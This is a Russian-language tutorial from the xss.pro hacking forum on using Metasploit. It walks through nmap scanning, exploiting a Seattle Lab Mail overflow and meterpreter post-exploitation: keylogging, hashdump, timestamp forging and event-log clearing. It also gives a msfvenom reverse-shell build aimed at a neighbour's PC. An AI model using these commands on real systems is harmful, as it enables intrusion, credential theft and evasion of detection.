• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Используем Metasploit по полной. Часть 1 - Основы

Urob0ros

HDD-drive
Пользователь
Регистрация
26.09.2020
Сообщения
40
Реакции
251
Введение

Всех приветствую. Когда-то давно я делал большой разбор инструмента Beef-Xss-Framework, в котором подробно разобрал как с ним работать и как расширить его возможности. И вот спустя столько времени я решил написать подобную статью, но уже о Metasploit Framework. Инструмент, к слову, весьма мощный и думаю подобные статьи буду актуальны для многих как начинающих, так и продолжающих людей нашей профессии.

Сразу скажу, что здесь мы будем рассматривать только бесплатный Metasploit Framework, так как в платной версии будет сразу куча удобств, которые здорово упрощают жизнь. Там тебе и веб-морда из коробки, и REST-API и все остальное. Но суть этого цикла статей в том, что и бесплатную версию при наличии прямых рук и определенных знаний можно превратить в весьма мощную штуку, вручную приделав к ней собственные модули, графический или веб-интерфейс и много чего ещё.

Теперь по поводу того для кого эта статья вообще написана — да для всех, кто так или иначе работает с этим фреймворком. И не важно, только начинаете ли вы вливаться в работу с фреймворком или уже достаточно уверенно себя там чувствуете — в любом случае, возможно вы сможете почерпнуть что-то новое о работе инструмента, его фишках, разработке модулей и т.д.
Я сам достаточно долго пользовался метасплоитом, даже не подозревая о куче его дополнительных возможностей.
Поэтому представляю вашему вниманию статью — разбор инструмента Metasploit framework от А до Я. В статье я старался пройтись от самых основ (для новичков) до более продвинутых вещей, по типу работы с ядром фреймворка и написания собственных модулей, при этом стараясь объяснять все максимально простым и понятным языком.

Для того чтобы не превращать одну статью в простыню из текста на туеву хучу страниц, я решил разделить ее на три условные части. И вот о чем они будут:

1. Первая часть, которую вы сейчас и читаете — это основное описание работы фреймворка. По сути вводная часть, где я постарался собрать большую часть полезной информации о работе фреймворка и его инструментах. Первая часть больше расчитана на новичков. Здесь почти не будет кода, а лишь основная база о том, как работать с фреймворком и как он может упростить вам жизнь.

2. Вторая часть будет про RPC API метасплойта. Там мы уже посмотрим как можно управлять фреймворком удаленно, а так же расширять его возможности при помощи скриптов, которые мы и набросаем на языке программирования python.

3. Ну и третья часть будет самой сложной с точки зрения новичка, но при этом самой полезной по моему скормному мнению. Здесь мы возьмем в свои руки такой язык как Ruby (а может посмотрим и на Python) и будем писать свои модули для фреймворка. В рускоязычном сегменте интернета информации об этом маловато, а значит пора попробовать немного пролить свет на эту область.
Вот такой у нас план статьи получился:

1. Описание структуры фреймворка — здесь будет чисто теоретическая часть, необходимая для того, чтобы понять для чего вообще нужен инструмент, из каких частей состоит и как работает.
2. Базовое использование — здесь мы уже на практике рассмотрим все теоретические моменты из прошлой части. Посмотрим зачем тут база данных и воркспейсы, как использовать сканеры, эксплойты, и пэйлоады.
3. Метерпретер в постэксплуатации — что это и с чем едят. Здесь немного посмотрим на шелл который предоставляет фреймворк, как с ним работать и для чего можно его использовать.

Описание структуры фреймворка

Итак, metasploit framework. Что это и зачем оно надо ?
Представьте ситуацию — в винде, в одном из веб-сервисов обнаруживают уязвимость, которая позволяет выполнить произвольный код. Для того, чтобы нам проэксплуатировать эту уязвимость надо сделать несколько последовательных действий. Вообще, по моему скромному мнению, и мнению большого количества других людей, все подобные взломы проводятся в несколько этапов. Ну и сейчас будет минутка теории. Вот так выглядят эти этапы:

1. Разведка/сбор информации — на этом этапе мы собираем всю возможную инфу о интересующей нас тачке — Ос, адреса, номера открытых портов, установленное ПО и его версии и все такое прочее. Этот этап еще делят на два подэтапа — пассивный и активный. Пассивный — это когда мы собираем информацию не взаимодействуя напрямую с целью. Например, мы если мы будем копаться по веб-архиву, искать в шодане и подобных поисковиках информацию, или использовать дорки — это будет пассивным этапом, так как с целью мы напрямую не взаимодействуем и собираем только все что полезно и лежит по сути в открытом доступе.
А вот активный этап — это уже непосредственно прямое взаимодействие. Здесь мы уже сканим порты через нмап, брутим директории, натравливаем различные сканеры и так далее.
Сам по себе процесс разведки порой достаточно долгий и трудозатратный, однако его важность сложно переоценить, ведь чем больше информации будет найдено на этом этапе — тем выше шансы на успех в каждом дальнейшем этапе.

2. Определение точки входа/поиск уязвимости — на этом этапе мы берем всю информацию, собранную на предыдущем этапе, и начинаем искать потенциальную точку входа. Сверяем версии ПО с уязвимыми, гуглим эксплойты, пишем свои если есть желание и навыки и все такое.
Этап больше связан с планированием, но его результатам определяются одна или несколько уязвимостей, которые определяются как потенциальные точки входа в систему.

3. Непосредственно экспулатация уязвимости. Тут мы берем выбранный(ые) на предыдущем этапе уязвимость(ти) и ломаем. Итогом этого этапа уже является попадание на машину — шелл или какая-то оболочка, через которую мы можем заставить машину выполнять то, что скажем ей мы.

4. Закрепление и повышение привелегий — конечно, бывает так, что после предыдущего этапа мы сразу получаем рут, но такое бывает редко. Как правило мы получаем какую-то командную оболочку от пользователя с не особо высокими правами в системе — например пользователя, специального созданного системой под демон, который мы и нагнули в процессе предыдущего этапа.
Поэтому, теперь у нас есть две задачи- первая, это получить удобный доступ, к которому потом можно будет вернутся - установка бэкдора, добавление ssh-ключа (если вы совсем бессмертный) и так далее.
И второе — это повысить привилегии, дабы получить полный контроль над системой. Тут уже особый этап постэксплуатации с поиском хреново сконфигурированных в плане доступа файлов, эксплойтов для повышения привелегий и т.д.

И вот собственно к чему это — весь этот поэтапный процесс весьма длительный, на всем его протяжении накапливается большое количество инструментов, плюс большое кол-во сканеров, скриптов для проверки, скриптов для эксплуатации, для постэксплуатации и много чего еще. И в итоге вы барахтаетесь во всем этом добре, состоящем из кучи различных скриптов, заметок, кусков кода и инструментов и пытаетесь не запутаться что за что отвечает.

А теперь представьте что есть всего один инструмент, который за ручку поможет вам пройтись по всем этапам и при этом постарается чтобы вы ничего важного не потеряли по пути. Он поможет вам собрать и структурировать информацию, найти подходящий вам эксплойт среди огромного количества тех, что уже лежат у него в базе, избавит от необходимости искать на гитхабе скрипты на питоне для эксплуатации, предоставит нормальный шелл, и даже поможет на этапе постэксплутации. И при этом поможет структурировать всю информацию как для одной отдельной атакуемой машины, так и для нескольких таковых,а при необходимости и для целых сетей, причем структурировать удобно, разбив всю информацию, шеллы и остальное что называется «по полочкам»
И таким инструментом как раз и является Metasploit.

И вот теперь, когда мы разобрались с теорией, предлагаю на практике посмотреть как именно этот инструмент проводит нас по всем этапам, упрощая нам жизнь.

Основной принцип работы

Теперь предлагаю, для закрепления материала, посмотреть на все это на «реальном» примере. Для примера представим вот что: есть наша тачка и есть машина в локальной сети с айпишником 192.168.1.**. Точный адрес машины мы не знаем, но мы очень ее хотим и знаем что машина эта на винде. И теперь попробуем по порядку получить к ней доступ при помощи metasploit framework, попутно используя большую часть его фишек.

Запускаем БД
Для начала, если вы еще этого не делали, на тачке с которой мы и будем атаковать, нужно выполнить команду
Bash:
msfdb init
Эта команда инициализирует бд — по сути выполнит что-то вроде миграций в potgresql СУБД — создаст базу для фреймворка, пользователя и все необходимые таблицы и строки. Это нужно для дальнейшего сохранения данных, полученных в процессе работы с фреймворком. Проще говоря, чтобы если мы захотим закрыть текущую работу и вернутся к ней через пару часов, мы при этом благополучно не прое*али все собранные данные.
1724979096908.png


После того, как мы инициализировали бд, можем проверить насколько все успешно командой
msfdb status
Эта команда покажет статус бд. Если покакой-то причине статус покажет что сервис не активен (loaded), можем стартануть ее вручную при помощи
msfdb start
Ну или если по какой-то причине хотите остановить:
msfdb stop
Учтите, что эта команда по сути является оболочкой над системными командами service/systemctl для конкретного сервиса — postgresql. Поэтому, если вы стартуете или останавливаете msfdb, вы по сути тыкаете сервиc postgresql. Поэтому, если этот сервис не стоит у вас в автозагрузке при старте системы, а вы не хотите каждый раз перед запуском фреймворка прописывать старт базы - можете включить его автозагрузку в системе через команду
[B]sudo systemctl enable postgresql[/B]
В этом случае вам придется только один раз, при самом первом запуске инициализировать бд и более не придется запускать базу вручную при каждой перезагрузке и новом запуске фреймворка


Так же, для базы есть еще такие полезные команды
msfdb reinit — позволяет заново инициализировать базу данных, на случай если что-то пойдет не так
msfdb status — показывает текущий статус бд
msfdb stop — останавливает работу с бд
msfdb delete — очищает базу данных metasploit


Помимо этого, через эту команду вы можете настроить и другие параметры, такие как имя вашей базы, пользователя или даже полную строку подключения. Это позволяет тонко настроить фреймоврк, на случай, если вы например хотите опредленным образом орагнизовать свою СУБД ( напомню что фреймворк использует стандартную СУБД postgresql где вы можете уже хранить свои какие-либо базы)

Подробная информация есть в описании команды, которая выводится через msfdb —help


Работаем с воркспейсами

Ну после того как запустили бд сразу посмотрим для чего мы это делали. Запускаем сам фреймворк:
msfconsole
И после этого вводим команду workspace:
1724979262111.png

То, что мы видим сейчас — список рабочих областей. Та что подсвечивается звездочкой и красным цветом — активная. По умолчанию это default. В рабочей области сохраняется вся информация, которую мы накапываем по ходу своей работы — это удобно, если вы одновременно копаетесь например в нескольких разных сетках. Подробнее далее, но сначала давайте создадим новую рабочую область специально для нашего процесса атаки. Назовем ее примитивно - test

workspace -a test

Если мы введем команду workspace еще раз — увидим, что теперь у нас появилась новая рабочая область под названием тест и инструментом автоматом выбрал ее (активная рабочая область помечается красным цветом и префиксом звездочки):
1724979294379.png

Еще полезные команды с воркспейксами

workspace -D — удалить все существующие воркспейсы
workspace -r old_name new_name — переименовать воркспейс
workspace -s workspace_name — поиск определенной рабочей области. В случае успешного поиска найденая область будет выбрана как активная.
workspace -v — показать список рабочих областей с дополнительной информацией

Теперь все данные которые мы накопаем внутри инструмента (а может и не только внутри) будут сохранены в этой рабочей области. Этим этапом мы по сути произвели начальную настройку инструмента и создали что-то вроде отдельной доски, на которой мы и будем вешать фотки с ниточками и все заметки.

И теперь мы можем переходить к первому этапу — разведке.

Этап первый. Разведка

Первое, с чего обычно начинается все — сканирование портов. Для этого почти во всех случаях используют такой инструмент, как nmap. Для того, чтобы сохранить результаты сканирования nmap по дефолту дает возможность сохранить вывод в файлы разных форматов, но сам местасплоит имеет оболочку, которая используется как раз для того, чтобы сохранить все важные результаты внутри фреймворка. Для этого нам и нужен был воркспейс — все подобные данные хранятся внутри воркспейса.

Итак, практика. Предпложим, что мы на нашей тачке попали в нужную нам сеть, в которой и есть искомая нами машина. Все что у нас сейчас есть — это тачка с нашим metasploit framework и сеть, которая нам представляется большим темным пятном.
Первое, что мы конечно же хотим сделать — это выяснить какие есть в этой сети живые хосты.
Это конечно можно бы и сделать обычным ping’ом, но мы пошли дальше и решили что для пинг сканирования (сейчас используем именно этот тип обнаружения) будем использовать nmap. Обычно для этого используется вот такая команда:
nmap -sP <адрес сети>
Я думаю, ни для кого не секрет (а если и секрет, то теперь вы знаете), что metasploit позволяет использовать внутри фреймворка различные команды linux (ls, cat, ping), а так же получать доступ к различным специализированным инструментам, аля nmap.
Но мы ведь не просто так находимся внутри фреймворка, да еще и перед этим настраивали рабочие области. Поэтому, мы берем ту же самую команду, которую мы бы использовали с обычным nmap и добавляем в начало к ней индекс db_. И вроде после выполнения команды прямо внутри фреймворка у нас идет стандартный вывод nmap:
1724979389714.png

Однако, если сейчас мы введем специальную команду hosts, то мы увидим что список хостов у нас сохранился в удобную табличку:
1724979409664.png

Все дело в том, что db_nmap это специальная обертка для обычного nmap, которую предоставляет нам фреймворк. Смысл тут в том, что инструмент запускает обычный nmap, а потом всю полезную информацию из вывода парсит и сохраняет в базу. Вся информация группируется по рабочим областям, то есть в зависимости от того, в какой вы области находились в момент запуска команды, туда вся инфа и сохранится.
Предположим, что после нашего пинг-сканирования, нас заинтересовали два конкретных хоста: под айпишниками 912.1687.1.32 и 192.168.1.33
Итак, цели выбраны. Не помешает узнать о них побольше, то есть выяснить номера открытых портов, версии по на портах, ОС и так далее. Для этго будем использовать такую команду:
db_nmap -sS -sV -p * -O 192.168.1.32 192.168.1.33
1724979465682.png

*Обратите внимание, что опция -sS означает использование SYN сканирования, а оно требует root- привелегий в системе!
После этого пришло время поближе познакомиться с командами внутри воркспейсов. Команда хост нам уже известна, но после сканирования портов ее вывод поменялся на следующий:
1724979543367.png

Тут предлагаю ознакомиться с дополнительными параметрами команды, некоторые из которых будут работать и с другими командами по аналогии.
Первое — это то, что после команды мы можем прописать интересующий нас хост и получим вывод только по определенной записи. Например:

hosts 192.168.1.32
1724979568484.png

Так же, можно настроить вывод только определенных колонок, для этого через запятую перечисляем нужные нам имена колонок под флагом -c:
hosts -c address,os_name 192.168.1.32

1724979712770.png


Следующей командой внутри воркспейсов, с которой мы познакомимся — будет services. Она выводит информациб о всех найденных сервисах на всех хостах:
1724979745288.png

По аналогии с командой hosts, мы так же может настраивать вывод так, как нам нужно, например:
1724979776088.png

Еще одна группа инструментов, которая используется при активной разведке — это сканеры уязвимостей, такие как nessus, openvas и т. д.
Это весьма удобные инструменты, но речь сейчас пойдет не о них. Согласитесь, весьма удобно было бы иметь возможность подгрузить в нашу рабочую область результаты таких сканирований. И такая возможность есть.
Для примера, возьмем сканер nessus. Предположим, что линукс тачка перестала нас интересовать, и мы нацелились на ту, на которой стоит винда семерка. Мы натравили на нее nessus и получили результаты сканирования в веб-интерфейсе сканера:
1724979803489.png

Как видим, там есть на что посмотреть — сканер нашел 25 интересных моментов, в том числе парочку уязвимостей. Так что было бы неплохо выгрузить всю эту информацию, чтобы потом проанализировать ее внутри фреймворка и подумать что можно сделать.

Для этого нажимаем на кнопку export в правом верхнем углу и выбираем из двух доступных вариантов просто nessus. После этого у нас загрузится файл, имя которого будет именем нашего скана, а расширение будет .nessus
В моем случае файл называется TestWindows.nessus, а представляет собой этот файл обычный XML документ с определенными тегами, которые легко распарсить в случае чего:

После того, как мы экспортировали результаты сканирования, нам нужно выгрузить их в базу фремворка. Для этого мы возвращаемся в метасплоит и запускаем вот такую команду:
1724979838540.png

После уведомления о том, что данные успешно импортированы, мы знакомимся с еще одной командой - vulns:
1724979861440.png

Эта команда как раз таки показывает результаты со сканеров. Все, что нашел nessus теперь висит в этой табличке.
Ввывод здесь сортируется по аналогии с двумя предыдущими командами, а помимо названия уязвимости, которое по сути ее кратко описывает, нам предоставляют еще и номер, который можно весьма эффективно использовать для поиска информации.


Этап второй. Подбор уязвимости

После того, как мы насобирали информации, пришло время выбрать уязвимость, которую мы и будем крутить.
Здесь уже работы во фремворке по минимуму, это более локальный этап, в котором работает исключительно ваша голова, опираясь на информацию которую мы получили на предыдущем этапе
Однако, мы ведь моделируем ситуации. И тут мы представим, что сравнив выводы nmap и скана от nessus мы увидели интересный момент:
Вывод nmap:
1724979896707.png

Вывод vulns:
1724979906908.png

А увидели мы открытый порт и nmap нам дружелюбно подсказал, что там развернута служба Seatle Lab mail версии 5.5.0, а команда vulns уже намекнула что там есть cve
Быстренько погуглив, для получения более полной информации, мы выяснили что эта версия службы подвержена старой, как отходы жизнедеятельности мамонта, уязвимости удаленного переполнения буфера CVE-2003-0264:
1724980014493.png

Таким образом — точка входа найдена. Теперь можно двигаться дальше.

Но это не все. Заместо того, чтобы лезьт в гугл, мы можем сначала попробовать пробить айпишник по нашей базе эксплойтов, чтобы понять, а может сам метасплойт выяснит что именно мы можем попробовать.
Для этого есть команда analyze, которую можно использовать с айпи адресом или без
Она пробежится по базе и предложит нам что мы можем попробовать. Как видим, здесь она нам предложит обратить внимание на тот же самый сервис и даже предложит сам эксплойт:
1724980049244.png


Этап третий. Эксплуатация

Итак, мы определились, что для получения доступа в систему мы будем использовать CVE-2003-0264, в сервисе Seattle lab mail.

А значит теперь нам надо найти эксплойт. Если бы у нас не было метасплойта, мы бы сейчас пошли на гитхаб искать написаный на питоне скрипт, который бы позволял нам проэксплутировать уязвимость и получить шелл. Ну или в крайнем случае взялись бы писать его сами, используя информацию о баге.
Однако с метасплойтом все гораздо проще.

И первое что нам нужно сделать — воспользоваться командой search. Она нужна для поиска по базе уязвимостей фреймворка.
Для начала попробуем поискать эксплойты просто по названию ПО. Вбиваем в поиск — Seattle Lab Mail
1724980088311.png


И нам повезло — эксплойт под этому багу есть из коробки. (Что именно делать если нужного эксплойта из коробки нет, и его нужно поставить, рассмотрим позже)
Так же, мы могли вбить в поиск номер CVE и, даже не смотря на то, что в видимом описании этот номер не прописан, поиск все равно покажет нам тот же результат:
1724980117479.png

И этим вохможности поиска не ограничиваются. Поиск так же поддерживает фильтры. Работает это следующим образом

search filter1:<parametr> filter2:<parametr>

Фильтров довольно много, например таким образом можно поискать cve определенного года, или определенный тип модуля. Например, если нас интересуют только cve 2022 года и тип модуля эксплойт, мы можем использовать вот такую команду:

search cve:2022 type:exploit

1724980166413.png


Или если нас интересуют только пейлоады под виндовс мы можем использовать:

search type:payload platform:windows
1724980218047.png

Сама команда поиска по фреймворку предоставляет довольно много фильтров, все перечислять здесь разумеется смысла не имеет, если вам нужно вы можете посмотреть полный список при помощи команды search —help. Работают они все довольно просто, по аналогии с двумя показаными мной командами.
Мы нашли интересующий нас эксплойт, осталось только выбрать его. Для этого используем команду use.
Можно либо прописать полное имя эксплойта (use exploit/windows/pop3/seattlelab_pass ) , либо его id из поиска (use 0):
1724980281548.png

Перед тем как заюзать эксплойт мы можем посмотреть более подробную информацию о нем
используя команду info:
1724980317783.png

Здесь мы получим все дополнительные данные по эксплойту — под какую он архитектуру, под какие ОС, кто автор, а так же можно будет прочитать полноценное крупное описание от автора.
(Это конечно зависит от того, что это за эксплойт, где вы его взяли и насколько автор запарился с этим всем)
Ну и далее используем команду
use 0

После этого рядом с приветствием шелла у нас появляется имя выбранного эксплойта.
Так же нам сообщили что пейлоад мы не указали, поэтому нам автоматически поставили какой-то дефолтный.
Что это и почему, мы увидим чуть позже, а пока надо настроить наш эксплойт. Для того чтобы посмотреть параметры используем команду show options
1724980377000.png

Здесь мы видим все параметры, которые можно установить для того, чтобы настроить наш эксплойт. Каждый из этих параметров — по сути переменная, значения которых можно менять в зависимости от ситуации. Самым ярким таким примером являются перменные RHOST RPORT — переменные которые принимают айпишник цели и порт уязвимого сервиса. Если, как в данном случае, у них стоит множественное окончание, значит можно указать несколько хостов и эксплойт сработает на каждом.
В хорошо написаном модуле у каждой переменной есть описание, которое отображается в колонке Description. Ну и переменные бывают двух типов — обязательные или не обязательные, это указывается в поле Required.
Так же, в некоторых эксплойтах есть необязательные переменные, которые могут быть и не указаны (например, креды для какого-то сервиса, данные юизер-агента, SSL и так далее)
Отдельной таблицей идут настройки пэйлоада. Говоря простым языком — эксплойт, это дырка в системе, а пэйлоад, он же полезная нагрузка, это то, что мы засунем в эту самую дырку
Например, в нашем случае в сервисе почты есть уязвимость, которая позволит нам выполнить какую-то команду в системе. И этой командой будет небольшой кусочек кода, который мы через эту багу закинем на уязвимую машину и получим шелл.
Один эксплойт может работать с большим количеством разных пейлоадов, что логично, ибо пейлоады под линукс и винду будут разными, так как компиляция под эти системы отличается. А помимо этого так же у пейлоадов бываюти разные типы подключения, типы шеллов, и даже разрядность ОС играет тут роль. Пейлоады под x86 и x64 будут разные и работа одного не гарантирует такую же работу другого в этой системе.


Поэтому, пейлоад по сути является такой же настройкой для экслойта, и можно выбирать любой совместимый, в зависимости от нужды и предпочтений. Например, в нашем случае по умолчанию нам выставили пейлоад

windows/meterpreter/reverse_tcp

Вся информация о нем уже есть в названии — первое слово говорит нам о том, для какой ОС предназначен пейлоад, в нашем случае это винда, а значит нам подходит.

Второе — meterpreter, это тип шелла. Meterpreter, это особый шелл который как раз таки создан под metasploit. Весьма удобная штука, с которой мы скоро познакомимся весьма близко. В нашем случае это мастхев вариант, но при желании мы могли бы использовать всякие bash, cmd, netcat, python и прочие шеллы.

Ну и последнее — reverse_tcp говорит нам о том, что работать шелл будет по TCP (есть еще вариант с UDP ), а подключение будет использоваться обратное, или, если угодно, реверсивное. Его отличие в том, что зараженная машина сама будет стучаться к нашей машине с метасплоит, а не открывать порт на атакованной машине и дожидаться подключения. А значит засечь такое подключение будет сложнее и заблокировать его тоже будет проблематичнее. Вообщем, реверс менее палевный.

Тот эксплойт, который нам выставил метасплойт по дефолту нам вполне подходит, а значит мы его и оставим. Но, если бы мы хотели взять что-то другое, список подходящих пейлоадов можно посмотреть командой show payloads
1724980475736.png

Выбирать как видите есть из чего. В моем случае доступно было 184 различных пейлоада.
У пейлоада тоже есть свои опции. Как минимум это LHOST LPORT. Эти параметры, в отличие от таких же с первой буквой R, обозначают айпишник и порт нашей машины, на которую пейлоад и будет стучаться после попадания в систему.
В целом мы разобрались че нам дали, теперь время это настроить. Для того чтобы задать значение перменной используется команда set <имя переменной > <значение>
Например, чтобы настроить RHOST мы указываем

set rhost 192.168.1.33

(названия переменных кстати регистронезависимые, так что писать их в команде можно как угодно, хоть RhOsT)
И далее по аналогии мы вроде как должны указать значения для порта и параметров пейлоада, но они и по умолчанию были выставленны вполне верно. Однако, если бы нас что-то не устраивало, мы бы могли точно так же поменять их значения.
1724980531720.png

Еще раз, перменные с индексом R — это данные удаленной машины, которую мы будем атаковать (remote), а переменные с первой буквой L — это наша локальная машина (Local)
Если после этих манипуляий мы снова запустим команду Show options, мы увидим что значения переменных установились в те, которые мы и указывали:
1724980551854.png

Ну и на этом все — наше орудие готово. Запустить его можно командами exploit или run:
1724980757508.png

И после того, как мы запустили эксплойт, мы видим что приветствие у нас изменилось с msf6 на какой-то meterpreter. Это говорит о том, что эксплойт сработал и мы уже сейчас находимся внутри взломанной машины, а meterpreter — это наш шелл. И о том, как с ним работать в следующей части статьи ->


Этап четвертый. Закрепление и повышение привелегий.

И вот мы собственно попали внутрь нужной нам тачки. То, что будет происходить дальше зависит исключительно от наших целей и умений, так что это дело индивидуальное. Но, Здесь нам нужно еще познакомиться с шеллом meterpreter и его возможностями. Штука весьма полезная и мощная, так что давайте покопаемся.
Не будем брать какую-то определенную цель, а просто рассмотрим самые полезные команды и примеры их работы.

Основные команды оболочки:
Начнем с того, без чего ни одна командная оболочка не обходится — основных команд, которые позволяют просматривать файлы, осуществлять навигацию по директориям и т. д.
И здесь все максимально просто. Так как метерпретер это собственная оболочка, вне зависимости от ОС вы можете использовать *nix команды для всех этих действий. То есть, такие команды как ls, cat, cp будут работать точно так же, как в unix системах. Но помимо них есть еще парочка полезных команд которые расширяют взаимодейтсвие с файлами:

download <file> - эта команда загрузит файл со взломанной машины вам на хост. По умолчанию файл будет загружен в ту директорию, в которой вы запускали метасплойт.

1724980816193.png

Upload <local file > <remote dir> - эта команда как несложно догадаться отвечает за выгрузку файлов с атакующей машины на целевую
1724980838043.png

Обратите внимание, что для путей виндовс нужно экранировать обратный слеш, то есть путь

C:\Users\test\Documents\

Превращается в команде в

C:\\Users\\test\\Documents

Дополнительно, прямо в шелле meterpreter вы можете обращзаться обратно к своему хосту. Для этого перед командами добавляется буква l, например lls или lpwd
1724980900828.png

Шпионское

Здесь метерпретер тоже предоставляет пачку любопытных возможностей

Screenshot/share

Первое, что можно упомянуть — это то, что метерпретер позволяет делать скриншоты текущего состояния экрана, а так же даже смотреть полноценный стрим с экрана в реальном времени.
Со скриншотами все максимально просто — вводите команду screenshot и вам в рабочую директорию сохраняется файл:
1724980949395.png


Со стримом экрана все не намного сложнее — только здесь сохранится не jpeg файл, а html.
1724980988063.png

Если вы его откроете, то увидите примерно такую картину
1724981002796.png

*!важно
Для стриминга данных используется JS, и при этом метасплойт не запускает никакой веб-сервер на машине, а лишь создает обычный html-файл. Учитывайте этот момент, если работаете с метасплойтом на удаленном хосте

По аналогии работает в метасплоите и стриминг изображения с вебки и запись микрофона.
Keyscan

Так же, сессия имеет встроенный «кейлогер», а точнее минимально жизненноспособную его версию. Работает он тоже вполне себе минималистично:
Команда keyscan_start начинает запись нажатых клавиш, команда же keyscan_stop ее останавливает:
Вот как это выглядит. Сначала запускаем все это дело командой, keyscan_start
Для того, чтобы посмотреть что кейлогер перехватил используем команду keyscan_dump
А когда нам все это надоест, можем остновить захват командой keyscan_stop
1724981074148.png

Кейлогер, к слову, возвращает вам записаные символы в дефолтной раскладке, даже если на атакуемой машине в этот момент она была переключена.
У меня например, в случае когда для тестов шла русская винда, несмотря на то, что в ней вводились символы на английском, они пришли в русской раскладке

Системное

Hashdump

hashdump -
команда, которая делает дамп SAM хранилища, в котором в ОС хранятся пароли пользователей. Данные там конечно зашифрованы, но их можно попробовать побрутить через тот же hashcat. Работает это условно говоря так — после того как вы вводите команду hashdump, meterpreter покажет вам список пользователей и их паролей в зашифрованом виде.
1724981122449.png

Данные эти можно записать в файл и потом пробрутить. Там есть свои ньюансы, но статья не об этом, потому углубляться особо не будем, дабы не растягивать статью еще сильнее. Если вам интересно, вы легко можете найти информацию о том, как брутить NTML хеши, там ничего сложного.

Timestomp

Еще интересная команда timestomp. Во первых, эта команда позволяет просматривать данные файлов, а точнее время их открытия, модификации и создания. Это само по себе полезно, однако помимо этого команда так же позволяет эти данные изменять, дабы запутать следы пристуствия в системе.
Для начала давайте посмотрим данные файла test.txt, который специально был создан в системе. Для этого используем команду
timestomp <file_name> -v
1724981166283.png

Команда выведет нам данные по файлу. А теперь давайте попробуем изменить данные создания файла. Для этого используем команду

timestamp text.txt -c «datetime»
Формат даты и времени в строке используется вот такой «03/11/1999 10:05:01»
1724981201234.png

Флаг -c в нашем случае указывает что мы будем менять параметр created. По аналогии можно поменять и другие параметры при помощи других флагов:

- m — меняет параметр Modified
- a — меняет параметр Accessed
- e -- меняет параметр Entry modfied
Clearev

clearev — довольно полезная команда, которая очищает за вами логи в системе
Вот так выглядит журнал событий виндовс до выполнения команды
1724981252885.png

далее выполняем команду
1724981274935.png

И теперь журнал событий выглядит так

*обратите внимание, что для очистки определенных логов вам потребуются права администратора

Migrate

Еще одна полезная команда — migrate. Она позволяет перенести процесс шелла из текущего в какой либо другой, например в браузер или какую-то системную прогу при наличии определенных прав. Таким образом вы сможете избежать закрытия шелла в случае если процесс через который вы попали внутрь будет завершен
Работает она довольно просто — migrate <PID процесса в который вы хотите переехать>.
PID,ы процессов в системе можно предварительно посмотреть командой ps
1724981330769.png

Что далее/ сессии ?

Предположим, что мы выполнили все наши темные делишики внутри сессии и теперь хотим оттуда благополучно ливнуть. Но при этом хотим иметь возможность вернутся. У метерпретер есть для этого прекрассная команда background. Если мы ее введем нас выбросит обратно в основную оболочку метасплойт, но в отличие от команды exit сессия не закроется, а останется висеть в бэкграунде. Посмотреть такие сесси можно командой sessions:
Для того, чтобы вернуться к сессии используется команда sessions <id>:
1724981403421.png

По аналогии чтобы закрыть сессию используется команда session --kill <id>
Все сесси можно прервать командой sessions --kill-all
Еще есть интересная фишка. Если по какой-то причине у вас есть обычный шелл (не метерпретер сессия, а обычный башевский или питоновский шелл, который вы прикрутили к метасплойту), вы можете легко его проапгрейдить до метерпретер сесси, чтобы получить еще больше возможностей.
Например, есть у вас обычный системный шелл:
1724981437255.png

Для того чтобы превратить его в метерпретер шелл вы можете использовать команду:

seesions --upgrade <seesion_id>

И после этого вы получаете новую сессию на ту же машину, в которой уже полноценный
1724981457222.png


Немного про пейлоады без эксплойтов

Еще предлагаю обсудить такую ситуацию — предположим вы не хотите использовать какой-то эксплойт для взлома системы, а идете более легким путем. Например, у вас есть физический доступ к компьютеру вашего соседа Пети и вы хотите получить сессию meterpreter на его компе. И вам совсем не хочется искать там что-то, да и необходимости в этом нет, ведь у вас есть физический доступ. И для такой ситуации у метасплойта заготовленно кое что.
В случае если вы не хотите использовать эксплойт, а лишь хотите заслать кому-то пейлоад, причем все обязательства по доставке его на целевой хост вы берете на себя, то вам на помощь придут две вещи:

Во превых, это программа msfvenom, которая входит в состав фреймворка и поставляется вместе с ним

А во вторых, это модуль /exploit/multi/handler, которой представляет собой просто универсальную прослушивалку входящих подключений от пейлоадов.

Давайте посмотрим как с этим работать.
Для примера снова обратимся к нашей windows тачке и попробуем ломануть ее через запуск экзешника.
Первое, что нам нужно сделать — это подготовить сам исполняемый файл. Для этого мы обратимся к консольному инструменту msfvenom. Минимальный синтаксис команды будет следующим:

msfvenom -p <нужный нам пэйлоад> <параметры пейлоада> -f <тип исполняемого файла> > <путь, куда мы будем сохранять файл>

Давайте подготовим файл для нашей целевой системы:

пейлоад мы возьмем reverse shell типа, поэтому через дополнительные флаги укажем айпишник для подключения и порт.
Так как у нас винда, тип файла берем exe, это указываем через флаг -f
Ну и сохраняем файл в shell.exe

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.36 LPORT=4444 -f exe -o /home/kali/Documents/shell.exe
1724981554524.png


Итак, файл готов. Теперь надо подготовить «приемник»
Для этого возвращаемся в метасплойт и ищем вот такой эксплойт:

exploit/multi/handler

Как я уже говорил и как ясно из названия, это универсальная прослушка для пейлоадов. Выставляем тут в настройках тот порт и айпишник который указывали при создании пейлоада
через уже известные нам set LHOST и set LPORT
Так же, желательно указать сам пейлоад который мы использовали, через команду set payload
1724981978266.png

И запускаем его
После этого наш «приемник» включается и начинает ожидать входящих подключений
Далее наша задача как-то доставить этот файл на целевую машину. То как вы это сделаете - исключительно ваше дело, я же просто перекинул его по ssh.
Так как у нас по сути просто исполняемый файл, мы просто запускаем его на целевой виндовс машине
И сразу после этого в метасплойте у нас появляется открытая сессия:
1724982050967.png


Заключение
На этом свою первую статью о metasploit framework я заканчиваю. Здесь мы с вами рассмотрели основы фреймворка, которые по сути являются той базой, которая необходима для работы с фреймворком на начальном уровне. Дальше-больше. В следующей статье, которую я скоро выложу, мы рассмотрим работу с RPC api, а далее по плану напишем парочку собственных небольших модулей для метасплойта, которые добавим во фреймворк.

©Urob0ros специально для форума xss.pro
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх